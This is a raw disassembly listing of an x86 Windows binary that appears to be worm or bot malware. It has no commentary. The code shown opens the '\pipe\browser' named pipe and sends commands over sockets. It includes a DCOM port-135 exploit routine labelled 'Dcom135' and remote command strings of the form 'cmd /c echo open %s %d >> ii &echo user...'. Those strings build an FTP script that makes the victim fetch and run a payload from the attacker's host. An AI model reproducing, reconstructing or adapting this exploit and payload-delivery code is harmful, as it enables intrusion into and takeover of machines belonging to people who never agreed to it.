		db 0DCh	; э
		db  6Eh	; n
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  80h	; ─
		db 0E0h	; Ю
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2660802h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B

loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------

loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	short loc_404AE8

loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		call	near ptr 2640811h
		nop
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2640000h
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_436F00
		jmp	short loc_404B72
; ---------------------------------------------------------------------------

loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)

loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_436EF8
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0

loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C

loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2640811h
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B

loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax

loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2660B6Fh
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_404E03
		nop
		call	near ptr 2660AEBh
		cmp	eax, 3E5h
		jnz	loc_404A04

loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2660AA6h
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1

loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------

loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]

loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi

loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al

loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0C2h	; б
		db  24h	; $
		db    1
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  78h	; x
		db 0C4h	; д
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db 0E8h	; Х
		db 0B7h	; ╥
		db 0C8h	; х
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db 0E8h	; Х
		db  84h	; └
		db 0EDh	; М
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db 0AAh	; ╙
		db 0EFh	; О
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db  74h	; t
		db 0F6h	; Ж
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  0Ch
		db  6Fh	; o
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0FCh	; Э
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; э
		db  89h	; ┴
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db 0A3h	; ё
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db 0D7h	; в
		db 0CBh	; к
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db 0E8h	; Х
		db  34h	; 4
		db 0CBh	; к
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 20BEB9E8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C

loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------

loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------

loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE

loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh

loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------

loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax

loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43AD98
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 2610E42h
		push	offset byte_42F674
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F

loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------

loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		mov	al, 1

loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	near ptr 71AB2BBFh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------

loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]

loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------

loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx

loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2

loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		nop
		call	near ptr 71AB3E5Dh
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		nop
		call	near ptr 71AB1AF4h
		push	3E8h
		call	near ptr 2610E42h
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------

loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------

loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		call	near ptr 71AB8629h
		nop
		push	edi
		nop
		call	near ptr 71AB1A6Dh

loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax

loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB41DAh
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_436F0C, eax
		push	edi
		push	ebx
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	near ptr 71AB155Ah
		nop
		mov	ax, word ptr dword_436F0C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3ECEh
		nop
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------

loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB5DE2h
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB1890h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8

loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h,	83716B31h
